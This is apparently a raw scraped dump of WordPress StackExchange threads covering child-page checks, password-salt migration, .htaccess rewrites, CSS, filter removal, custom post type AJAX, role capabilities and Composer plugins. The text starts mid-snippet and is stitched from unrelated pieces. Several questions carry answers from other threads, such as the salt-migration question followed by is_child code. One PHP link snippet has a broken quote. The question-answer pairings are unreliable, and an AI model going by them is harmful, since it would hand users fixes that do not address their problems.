newData[i].investor_net_commission + '</td>' ); tr.append('<td>' + newData[i].investor_net_earning + '</td>' ); $('#compound_interest_table tbody').append(tr); } } }); ``` Data is being recieved, thanks to @ Piyush Rawat but there's now a problem with the mapreduce function ('reduce not a function'). how to I solve it
You should create a function in your plugin where you listen to a specific URL or watch for specific parameters. For example to generate the download link: ``` <?php $nonce = wp_create_nonce( 'download-' . $filename ); echo '<a href="/?_wp_nonce="' . $nonce . '&download=' . $filename . '">Some Download</a>'; ?> ``` And to download the file: ``` if ( ! empty( $_GET['_wp_nonce'] ) && ! empty( $_GET['download'] ) && wp_verify_nonce( $_GET['_wp_nonce'], 'download-' . $_GET['download'] ) ) { /* * Check if file exists and then output the right headers and the content of the file */ exit; } ```
285,856
<p>My need is to check if a page is subpage of a page (with ID).</p> <p>I try to get this code working but it doesn't.</p> <pre><code>function is_child($pageID) { global $post; echo $post-&gt;post_parent; // display the right ID! if( is_page() &amp;&amp; $post-&gt;post_parent == $pageID ) { return true; } else { return false; } } </code></pre> <p>It returns always false while <strong>$post->post_parent</strong> returns the right ID!</p> <p>Testing code (which always returns no while $post->$post_parent echoes the good ID in the function):</p> <pre><code>if(is_child(2310)) { echo 'yes'; } else { echo 'no'; } </code></pre> <p>This function takes place in my functions.php file and its purpose is to load CSS through a condition statement (load a particular CSS file if page is X or child of X).</p> <p>This code can be found on many sites around there but was produced in 2012-2013.</p> <p>Thanks a lot for any help.</p> <p>Sources of unworking codes : <a href="https://bavotasan.com/2011/is_child-conditional-function-for-wordpress/" rel="nofollow noreferrer">https://bavotasan.com/2011/is_child-conditional-function-for-wordpress/</a> <a href="https://www.kevinleary.net/wordpress-is_child-for-advanced-navigation/" rel="nofollow noreferrer">https://www.kevinleary.net/wordpress-is_child-for-advanced-navigation/</a></p>
[ { "answer_id": 285866, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<pre><code>/**\n * Return whether the current page is a child of $id\n *\n * Note: this function must be...
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285856", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/85151/" ]
My need is to check if a page is subpage of a page (with ID). I try to get this code working but it doesn't. ``` function is_child($pageID) { global $post; echo $post->post_parent; // display the right ID! if( is_page() && $post->post_parent == $pageID ) { return true; } else { return false; } } ``` It returns always false while **$post->post\_parent** returns the right ID! Testing code (which always returns no while $post->$post\_parent echoes the good ID in the function): ``` if(is_child(2310)) { echo 'yes'; } else { echo 'no'; } ``` This function takes place in my functions.php file and its purpose is to load CSS through a condition statement (load a particular CSS file if page is X or child of X). This code can be found on many sites around there but was produced in 2012-2013. Thanks a lot for any help. Sources of unworking codes : <https://bavotasan.com/2011/is_child-conditional-function-for-wordpress/> <https://www.kevinleary.net/wordpress-is_child-for-advanced-navigation/>
``` /** * Return whether the current page is a child of $id * * Note: this function must be run after the `wp` hook. * Otherwise, the WP_Post object is not set up, and * is_page() will return false. * * @param int $id The post ID of the parent page * @return bool Whether the current page is a child page of $id */ function is_child_of( $id ) { return ( is_page() && $id === get_post()->post_parent ); } ```
285,878
<p>Let me begin by saying I know this is generally advised against but I'm in a tough spot at work where this is essentially being demanded and to my understanding it's theoretically possible.</p> <p>I am tasked with transferring all user data from one WordPress site to another, and one of the stipulations is nobody would have to set a new password.</p> <p>I know there's no chance of dehashing the passwords but I read somewhere yesterday that if you use the same salts in <code>wp-config.php</code> then the passwords should work. I tried this and it didn't do the trick, but that may be due to some weird WPEngine caching or hidden setting, as does happen with them from time to time. What was especially weird is my old password still worked after I did this.</p> <p>I also read that, in addition to the salts in <code>wp-config.php</code>, there are salts stored in the database somewhere that compliment or mirror the ones stored in <code>wp-config.php</code>. That part I don't quite understand and is probably the real question here. Where in the WordPress database are these salts stored?</p> <p>Is there any hope of achieving this?</p>
[ { "answer_id": 285866, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<pre><code>/**\n * Return whether the current page is a child of $id\n *\n * Note: this function must be...
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285878", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131489/" ]
Let me begin by saying I know this is generally advised against but I'm in a tough spot at work where this is essentially being demanded and to my understanding it's theoretically possible. I am tasked with transferring all user data from one WordPress site to another, and one of the stipulations is nobody would have to set a new password. I know there's no chance of dehashing the passwords but I read somewhere yesterday that if you use the same salts in `wp-config.php` then the passwords should work. I tried this and it didn't do the trick, but that may be due to some weird WPEngine caching or hidden setting, as does happen with them from time to time. What was especially weird is my old password still worked after I did this. I also read that, in addition to the salts in `wp-config.php`, there are salts stored in the database somewhere that compliment or mirror the ones stored in `wp-config.php`. That part I don't quite understand and is probably the real question here. Where in the WordPress database are these salts stored? Is there any hope of achieving this?
``` /** * Return whether the current page is a child of $id * * Note: this function must be run after the `wp` hook. * Otherwise, the WP_Post object is not set up, and * is_page() will return false. * * @param int $id The post ID of the parent page * @return bool Whether the current page is a child page of $id */ function is_child_of( $id ) { return ( is_page() && $id === get_post()->post_parent ); } ```
285,879
<p>I have a question similar to <a href="https://wordpress.stackexchange.com/questions/274786/how-can-i-run-a-php-file-located-in-my-sites-root-folder">this one</a>: </p> <p>I have created a small PHP program that I want to call as a rest web service to return some data from custom MySQL tables. </p> <p>I can put it anywhere, but I've tried the root folder (public_html), a folder I creatd called custom, and the cgi-bin folder. </p> <p>For the first two, I get 404 not found. For the CGI-BIN it looks like it redirects to my home page. </p> <p>I've set it with CHMOD to 755 (and the custom folder as well). </p> <p>My .htaccess looks like this. I think maybe it needs to change somehow? </p> <pre><code># BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] &lt;/IfModule&gt; # END WordPress </code></pre>
[ { "answer_id": 285883, "author": "Lovin Nagi", "author_id": 102970, "author_profile": "https://wordpress.stackexchange.com/users/102970", "pm_score": 1, "selected": false, "text": "<p>Move Wordpress from root folder into subdirectory and create a <code>.htaccess</code> file in root folde...
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285879", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/2550/" ]
I have a question similar to [this one](https://wordpress.stackexchange.com/questions/274786/how-can-i-run-a-php-file-located-in-my-sites-root-folder): I have created a small PHP program that I want to call as a rest web service to return some data from custom MySQL tables. I can put it anywhere, but I've tried the root folder (public\_html), a folder I creatd called custom, and the cgi-bin folder. For the first two, I get 404 not found. For the CGI-BIN it looks like it redirects to my home page. I've set it with CHMOD to 755 (and the custom folder as well). My .htaccess looks like this. I think maybe it needs to change somehow? ``` # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress ```
Okay, I think I was mislead by this... I didn't read the code thoroughly that I cloned. It sets a 404 if the SQL fails. Duh! I also discovered a file called /custom/error\_log that I think is going to help debug that. ``` // die if SQL statement failed if (!$result) { http_response_code(404); die(mysqli_error()); } ```
285,911
<p>I am using a plugin which has the following code for a button:</p> <pre><code>&lt;a class="bwg_load_btn_1 bwg_load_btn" href="javascript:void(0);"&gt;Load More...&lt;/a&gt; </code></pre> <p>I would like to increase the size of the font used for the text to be 16x. How do I do this? I believe I need to add code to my style.css for my theme but I am not 100% sure what to add.</p> <p>Thank you in advance</p>
[ { "answer_id": 285915, "author": "HeroWeb512", "author_id": 102280, "author_profile": "https://wordpress.stackexchange.com/users/102280", "pm_score": 3, "selected": true, "text": "<p>You can solve this in two ways</p>\n\n<h1>No.1 to find the 'a' tag with class name ' bwg_load_btn_1 bwg_l...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285911", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/80040/" ]
I am using a plugin which has the following code for a button: ``` <a class="bwg_load_btn_1 bwg_load_btn" href="javascript:void(0);">Load More...</a> ``` I would like to increase the size of the font used for the text to be 16x. How do I do this? I believe I need to add code to my style.css for my theme but I am not 100% sure what to add. Thank you in advance
You can solve this in two ways No.1 to find the 'a' tag with class name ' bwg\_load\_btn\_1 bwg\_load\_btn ' in your plugin and add inline style like this =========================================================================================================================== ``` <a class="bwg_load_btn_1 bwg_load_btn" href="javascript:void(0);" style="font-size:16px;">Load More...</a> ``` 2nd in your style.css add font-size for this class with !important, =================================================================== ``` .bwg_load_btn_1.bwg_load_btn{ /* !important will override the style */ font-size:16px !important; } ```
285,942
<p>How can I override add_filter of a plugin?</p> <p><strong>like</strong> </p> <pre><code>add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 10, 4 ); </code></pre> <p>I want to use my custom function instead "cart_switching_currency" function.</p>
[ { "answer_id": 285943, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 1, "selected": false, "text": "<p>You can use <a href=\"https://developer.wordpress.org/reference/functions/remove_filter/\" rel=\"nofollow n...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285942", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128045/" ]
How can I override add\_filter of a plugin? **like** ``` add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 10, 4 ); ``` I want to use my custom function instead "cart\_switching\_currency" function.
Filters come with a priority parameter, the default is 10, so to override a function you need to increase the priority: ``` add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 99, 4 ); ``` > > add\_filter( string $tag, callable $function\_to\_add, int $priority = > 10, int $accepted\_args = 1 ) > > > More info in the [add\_filter](https://developer.wordpress.org/reference/functions/add_filter/) Update: If removing a filter is not working you may try this approach: ``` function remove_cart_switching_currency_filter(){ remove_filter('wcml_switch_currency_exception', 'cart_switching_currency', 10, 4); } add_action( 'after_setup_theme', 'remove_cart_switching_currency_filter' ); ``` **Important is that the priorities must match.** More info about [after\_setup\_theme](https://codex.wordpress.org/Plugin_API/Action_Reference/after_setup_theme)
285,955
<p>So, what I am trying to do is creating a slideshow plugin that won't require end user to write a single line of code. I can't use custom posts because I need to keep it simple for the end user.</p> <p>Is there a hook or a filter that would let me include my php generated code right after the </p> <blockquote> <p>body_class() ?</p> </blockquote> <p>Is it true that the only hook I can use is </p> <blockquote> <p>the_content() ?</p> </blockquote> <p>Thank you.</p>
[ { "answer_id": 285943, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 1, "selected": false, "text": "<p>You can use <a href=\"https://developer.wordpress.org/reference/functions/remove_filter/\" rel=\"nofollow n...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285955", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/4107/" ]
So, what I am trying to do is creating a slideshow plugin that won't require end user to write a single line of code. I can't use custom posts because I need to keep it simple for the end user. Is there a hook or a filter that would let me include my php generated code right after the > > body\_class() ? > > > Is it true that the only hook I can use is > > the\_content() ? > > > Thank you.
Filters come with a priority parameter, the default is 10, so to override a function you need to increase the priority: ``` add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 99, 4 ); ``` > > add\_filter( string $tag, callable $function\_to\_add, int $priority = > 10, int $accepted\_args = 1 ) > > > More info in the [add\_filter](https://developer.wordpress.org/reference/functions/add_filter/) Update: If removing a filter is not working you may try this approach: ``` function remove_cart_switching_currency_filter(){ remove_filter('wcml_switch_currency_exception', 'cart_switching_currency', 10, 4); } add_action( 'after_setup_theme', 'remove_cart_switching_currency_filter' ); ``` **Important is that the priorities must match.** More info about [after\_setup\_theme](https://codex.wordpress.org/Plugin_API/Action_Reference/after_setup_theme)
285,961
<p>I have some trouble with Divi plugin. I need to change icon using content in css. I add font awesome by cdn(it works on website e.g. <code>&lt;i class="fa fa-eercast" aria-hidden="true"&gt;&lt;/i&gt;</code> displays properly) but now I want to change existing icon from rss to instagram by changing a:before content to instagram code: <code>et-social-rss .icon:before{content:'\f16d'}</code> and it doesn't display icon. Any advice?</p>
[ { "answer_id": 285962, "author": "Lovin Nagi", "author_id": 102970, "author_profile": "https://wordpress.stackexchange.com/users/102970", "pm_score": -1, "selected": false, "text": "<p>you don't need to change css code, you can simply change the class to \"fa fa-instagram\" e.g:<code>&lt...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285961", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131177/" ]
I have some trouble with Divi plugin. I need to change icon using content in css. I add font awesome by cdn(it works on website e.g. `<i class="fa fa-eercast" aria-hidden="true"></i>` displays properly) but now I want to change existing icon from rss to instagram by changing a:before content to instagram code: `et-social-rss .icon:before{content:'\f16d'}` and it doesn't display icon. Any advice?
In addition to content, you also need to specify font family. Otherwise the browser will use whatever font Divi has assigned to that icon, which is probably not Font Awesome. ``` .get-social-rss .icon:before { content: '\f16d'; font-family: FontAwesome; } ```
285,967
<p>I've created a custom post type called 'award': </p> <pre><code>function award_post_type() { $labels = array( 'name' =&gt; 'Awards', 'singular_name' =&gt; 'Award' ); $args = array( 'labels' =&gt; $labels, 'public' =&gt; true, 'has_archive' =&gt; true, 'supports' =&gt; array( 'title', 'editor', 'excerpt' ) ); register_post_type( 'award', $args ); } add_action( 'init', 'award_post_type' ); </code></pre> <p>Now I am in the award post type's page archive, and I'm trying to display a list of awards ordered by the awards' deadlines (which are stored in a custom field). Next posts should be loaded via AJAX at the click of a 'Load More' button. </p> <p>First thing I did was alter the main query using <code>pre_get_posts</code>: </p> <pre><code>function order_by_deadline( $query ) { if ( ! is_admin() &amp;&amp; is_post_type_archive( 'award' ) ) { if( $query-&gt;is_main_query() ) { $query-&gt;set( 'orderby', 'deadline' ); $query-&gt;set( 'meta_key', 'deadline' ); } } } add_action( 'pre_get_posts', 'order_by_deadline' ); </code></pre> <p>This works okay. But <strong>when I try to load the next posts using AJAX, no results are shown</strong>. Here's the action I pass to the AJAX call, which includes the custom WP_Query I've created to call the new posts:</p> <pre><code>function load_next_awards() { // The number of the page is received from an attribute of the Load More button. I'm 100% sure this has nothing to do with the issues I'm having, so just ignore it. $page = $_POST[ 'page' ]; $args = array( 'paged' =&gt; $page, 'post_type' =&gt; 'award', 'post_status' =&gt; 'publish' 'post__not_in' =&gt; get_option( 'sticky_posts' ), 'orderby' =&gt; 'meta_value_num', 'meta_key' =&gt; 'deadline' ); $next_posts = new WP_Query( $args ); if( $next_posts-&gt;have_posts() ) : while( $next_posts-&gt;have_posts() ) : the_post(); get_template_part( 'views/post/content', get_post_format() ); endwhile; endif; wp_reset_postdata(); die(); } </code></pre> <p>I'm at a loss of ideas. The custom WP_Query looks correct to me, but it returns no results when I click on 'Load More'. If I change the <code>post_type</code>parameter to <code>post</code> or <code>page</code> instead, it does correctly show my posts and pages. </p>
[ { "answer_id": 285968, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 0, "selected": false, "text": "<p>Try initializing the post with <code>$next_posts-&gt;the_post()</code> instead of just <code>the_post()</code...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285967", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129417/" ]
I've created a custom post type called 'award': ``` function award_post_type() { $labels = array( 'name' => 'Awards', 'singular_name' => 'Award' ); $args = array( 'labels' => $labels, 'public' => true, 'has_archive' => true, 'supports' => array( 'title', 'editor', 'excerpt' ) ); register_post_type( 'award', $args ); } add_action( 'init', 'award_post_type' ); ``` Now I am in the award post type's page archive, and I'm trying to display a list of awards ordered by the awards' deadlines (which are stored in a custom field). Next posts should be loaded via AJAX at the click of a 'Load More' button. First thing I did was alter the main query using `pre_get_posts`: ``` function order_by_deadline( $query ) { if ( ! is_admin() && is_post_type_archive( 'award' ) ) { if( $query->is_main_query() ) { $query->set( 'orderby', 'deadline' ); $query->set( 'meta_key', 'deadline' ); } } } add_action( 'pre_get_posts', 'order_by_deadline' ); ``` This works okay. But **when I try to load the next posts using AJAX, no results are shown**. Here's the action I pass to the AJAX call, which includes the custom WP\_Query I've created to call the new posts: ``` function load_next_awards() { // The number of the page is received from an attribute of the Load More button. I'm 100% sure this has nothing to do with the issues I'm having, so just ignore it. $page = $_POST[ 'page' ]; $args = array( 'paged' => $page, 'post_type' => 'award', 'post_status' => 'publish' 'post__not_in' => get_option( 'sticky_posts' ), 'orderby' => 'meta_value_num', 'meta_key' => 'deadline' ); $next_posts = new WP_Query( $args ); if( $next_posts->have_posts() ) : while( $next_posts->have_posts() ) : the_post(); get_template_part( 'views/post/content', get_post_format() ); endwhile; endif; wp_reset_postdata(); die(); } ``` I'm at a loss of ideas. The custom WP\_Query looks correct to me, but it returns no results when I click on 'Load More'. If I change the `post_type`parameter to `post` or `page` instead, it does correctly show my posts and pages.
I've found the solution. The problem was I had a different number set for the `posts_per_page` parameter in the initial query and in the custom query I make via AJAX. In the code I provided `posts_per_page` is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different `posts_per_page` could cause a problem. Apologies about that. So yeah, if you're running into the same problem make sure that your `posts_per_page` is the same for all your queries!
285,994
<p>My website keeps showing <strong>HTTP ERROR 500</strong> and I'm not sure what's causing it</p> <p><strong><a href="http://igtsservice.com/" rel="nofollow noreferrer">Website URL</a></strong></p> <p>I tried a couple of debugging ideas like removed my .htaccess and renaming the Plugins folder, but still no luck</p> <p>I check the <strong>error_log</strong> file and here's what i found</p> <pre><code>[15-Nov-2017 17:47:35 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:47:54 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:11 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:14 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:16 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:17 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:19 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:20 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:22 UTC] PHP Parse error: syntax error, unexpected '&lt;' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 </code></pre> <p>The thing is, my functions.php folder has only 234 lines of code</p> <p>This is a business website, help me please</p>
[ { "answer_id": 285968, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 0, "selected": false, "text": "<p>Try initializing the post with <code>$next_posts-&gt;the_post()</code> instead of just <code>the_post()</code...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285994", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131563/" ]
My website keeps showing **HTTP ERROR 500** and I'm not sure what's causing it **[Website URL](http://igtsservice.com/)** I tried a couple of debugging ideas like removed my .htaccess and renaming the Plugins folder, but still no luck I check the **error\_log** file and here's what i found ``` [15-Nov-2017 17:47:35 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:47:54 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:11 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:14 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:16 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:17 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:19 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:20 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 [15-Nov-2017 17:48:22 UTC] PHP Parse error: syntax error, unexpected '<' in /home/igts160XXXXX1/public_html/wp-content/themes/theme2/functions.php on line 280 ``` The thing is, my functions.php folder has only 234 lines of code This is a business website, help me please
I've found the solution. The problem was I had a different number set for the `posts_per_page` parameter in the initial query and in the custom query I make via AJAX. In the code I provided `posts_per_page` is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different `posts_per_page` could cause a problem. Apologies about that. So yeah, if you're running into the same problem make sure that your `posts_per_page` is the same for all your queries!
285,998
<p>I've used several tutorials and tried to apply various "solutions", but I'm still unable to get a custom role to edit their own posts for a custom type. </p> <p>I created the role, which shows fine...</p> <pre><code>function mymodule_create_role() { add_role( 'resident', 'New Role', array( 'read' =&gt; true, // True allows that capability 'create_posts' =&gt; false, 'edit_posts' =&gt; false, // Allows user to edit their own posts 'publish_posts'=&gt;false, //Allows the user to publish, otherwise posts stays in draft mode 'edit_published_posts'=&gt;false, 'upload_files'=&gt;true, 'delete_published_posts'=&gt;false, )); } </code></pre> <p>I've also registered my new content type, which seems fine...</p> <pre><code>function register_bulletin_board() { $labels = array( 'name' =&gt; _x( 'Bulletin Board', 'bulletin_board' ), 'singular_name' =&gt; _x( 'Bulletin Board', 'bulletin_board' ), 'add_new' =&gt; _x( 'Add New', 'bulletin_board' ), 'add_new_item' =&gt; _x( 'Add New Bulletin Board', 'bulletin_board' ), 'edit_item' =&gt; _x( 'Edit Bulletin Board', 'bulletin_board' ), 'new_item' =&gt; _x( 'New Bulletin Board', 'bulletin_board' ), 'view_item' =&gt; _x( 'View Bulletin Board', 'bulletin_board' ), 'search_items' =&gt; _x( 'Search Bulletin Board', 'bulletin_board' ), 'not_found' =&gt; _x( 'No bulletin board found', 'bulletin_board' ), 'not_found_in_trash' =&gt; _x( 'No bulletin board found in Trash', 'bulletin_board' ), 'parent_item_colon' =&gt; _x( 'Parent Bulletin Board:', 'bulletin_board' ), 'menu_name' =&gt; _x( 'Bulletin Board', 'bulletin_board' ), ); $args = array( 'labels' =&gt; $labels, 'hierarchical' =&gt; true, 'description' =&gt; 'Bulletin board for citizen posts', 'supports' =&gt; array( 'title', 'editor','author'), 'public' =&gt; true, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'menu_icon' =&gt; get_bloginfo('template_url') . '/images/imagegallery.png', 'show_in_nav_menus' =&gt; true, 'publicly_queryable' =&gt; true, 'exclude_from_search' =&gt; false, 'has_archive' =&gt; true, 'query_var' =&gt; true, 'can_export' =&gt; true, 'rewrite' =&gt; true, 'capabilities' =&gt; array( 'edit_post' =&gt; 'edit_bulletin_board', 'edit_posts' =&gt; 'edit_bulletin_boards', 'edit_others_posts' =&gt; 'edit_other_bulletin_board', 'publish_posts' =&gt; 'publish_bulletin_board', 'read_post' =&gt; 'read_bulletin_board', 'read_private_posts' =&gt; 'read_private_bulletin_board', 'delete_post' =&gt; 'delete_bulletin_board' ), 'map_meta_cap' =&gt; true ); register_post_type( 'bulletin_board', $args ); } </code></pre> <p>And finally, I've applied the add_cap to my roles, which includes my new "resident" role...</p> <pre><code>$roles = array('administrator','resident','editor'); // Loop through each role and assign capabilities foreach($roles as $the_role) { $admins = get_role( $the_role ); $admins-&gt;add_cap( 'can_edit_posts' ); $admins-&gt;add_cap( 'edit_bulletin_board' ); $admins-&gt;add_cap( 'edit_bulletin_boards' ); $admins-&gt;add_cap( 'edit_other_bulletin_board' ); $admins-&gt;add_cap( 'publish_bulletin_board' ); $admins-&gt;add_cap( 'read_bulletin_board' ); $admins-&gt;add_cap( 'read_private_bulletin_board' ); $admins-&gt;add_cap( 'delete_bulletin_board' ); } </code></pre> <p>Now, when I login as a "resident", I can post a Bulletin Board post, but this user has no ability to edit or delete. From what I've read, the capabilities should be tied via add_cap() to the capabilities array used with register_post_type(), which seems to be the case. </p> <p>I've also installed the User Role Editor plugin and I see the checks for editing of the bulletin board, but that still doesn't seem to mean anything. </p> <p>Any suggestions would be very appreciated. </p>
[ { "answer_id": 285968, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 0, "selected": false, "text": "<p>Try initializing the post with <code>$next_posts-&gt;the_post()</code> instead of just <code>the_post()</code...
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285998", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131567/" ]
I've used several tutorials and tried to apply various "solutions", but I'm still unable to get a custom role to edit their own posts for a custom type. I created the role, which shows fine... ``` function mymodule_create_role() { add_role( 'resident', 'New Role', array( 'read' => true, // True allows that capability 'create_posts' => false, 'edit_posts' => false, // Allows user to edit their own posts 'publish_posts'=>false, //Allows the user to publish, otherwise posts stays in draft mode 'edit_published_posts'=>false, 'upload_files'=>true, 'delete_published_posts'=>false, )); } ``` I've also registered my new content type, which seems fine... ``` function register_bulletin_board() { $labels = array( 'name' => _x( 'Bulletin Board', 'bulletin_board' ), 'singular_name' => _x( 'Bulletin Board', 'bulletin_board' ), 'add_new' => _x( 'Add New', 'bulletin_board' ), 'add_new_item' => _x( 'Add New Bulletin Board', 'bulletin_board' ), 'edit_item' => _x( 'Edit Bulletin Board', 'bulletin_board' ), 'new_item' => _x( 'New Bulletin Board', 'bulletin_board' ), 'view_item' => _x( 'View Bulletin Board', 'bulletin_board' ), 'search_items' => _x( 'Search Bulletin Board', 'bulletin_board' ), 'not_found' => _x( 'No bulletin board found', 'bulletin_board' ), 'not_found_in_trash' => _x( 'No bulletin board found in Trash', 'bulletin_board' ), 'parent_item_colon' => _x( 'Parent Bulletin Board:', 'bulletin_board' ), 'menu_name' => _x( 'Bulletin Board', 'bulletin_board' ), ); $args = array( 'labels' => $labels, 'hierarchical' => true, 'description' => 'Bulletin board for citizen posts', 'supports' => array( 'title', 'editor','author'), 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'menu_icon' => get_bloginfo('template_url') . '/images/imagegallery.png', 'show_in_nav_menus' => true, 'publicly_queryable' => true, 'exclude_from_search' => false, 'has_archive' => true, 'query_var' => true, 'can_export' => true, 'rewrite' => true, 'capabilities' => array( 'edit_post' => 'edit_bulletin_board', 'edit_posts' => 'edit_bulletin_boards', 'edit_others_posts' => 'edit_other_bulletin_board', 'publish_posts' => 'publish_bulletin_board', 'read_post' => 'read_bulletin_board', 'read_private_posts' => 'read_private_bulletin_board', 'delete_post' => 'delete_bulletin_board' ), 'map_meta_cap' => true ); register_post_type( 'bulletin_board', $args ); } ``` And finally, I've applied the add\_cap to my roles, which includes my new "resident" role... ``` $roles = array('administrator','resident','editor'); // Loop through each role and assign capabilities foreach($roles as $the_role) { $admins = get_role( $the_role ); $admins->add_cap( 'can_edit_posts' ); $admins->add_cap( 'edit_bulletin_board' ); $admins->add_cap( 'edit_bulletin_boards' ); $admins->add_cap( 'edit_other_bulletin_board' ); $admins->add_cap( 'publish_bulletin_board' ); $admins->add_cap( 'read_bulletin_board' ); $admins->add_cap( 'read_private_bulletin_board' ); $admins->add_cap( 'delete_bulletin_board' ); } ``` Now, when I login as a "resident", I can post a Bulletin Board post, but this user has no ability to edit or delete. From what I've read, the capabilities should be tied via add\_cap() to the capabilities array used with register\_post\_type(), which seems to be the case. I've also installed the User Role Editor plugin and I see the checks for editing of the bulletin board, but that still doesn't seem to mean anything. Any suggestions would be very appreciated.
I've found the solution. The problem was I had a different number set for the `posts_per_page` parameter in the initial query and in the custom query I make via AJAX. In the code I provided `posts_per_page` is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different `posts_per_page` could cause a problem. Apologies about that. So yeah, if you're running into the same problem make sure that your `posts_per_page` is the same for all your queries!
286,004
<p>I'm using Composer to install plugins with the wpackagist repository. I've added all the relevant lines to my <code>composer.json</code> file in my main <code>wp/</code> directory.</p> <p>The plugin installed as expected (it's <a href="https://wordpress.org/plugins/members/" rel="nofollow noreferrer">this one</a> if it makes any difference) to its own folder within <code>wp/plugins/</code>.</p> <p>The issue that I see now is that it doesn't show up in the plugins section of my WordPress dashboard, nor am I able to install it with <code>wp plugin activate &lt;name&gt;</code>. </p> <p>Is there something else that needs to be done with Composer or elsewhere in this process to allow the plugin to be able to be installed?</p> <p>Here's my <code>composer.json</code>:</p> <pre><code>{ "name": "johnpbloch/wordpress-core", "description": "WordPress is web software you can use to create a beautiful website or blog.", "repositories":[ { "type":"composer", "url":"https://wpackagist.org" } ], "keywords": [ "wordpress", "blog", "cms" ], "type": "wordpress-core", "homepage": "http://wordpress.org/", "license": "GPL-2.0+", "authors": [ { "name": "WordPress Community", "homepage": 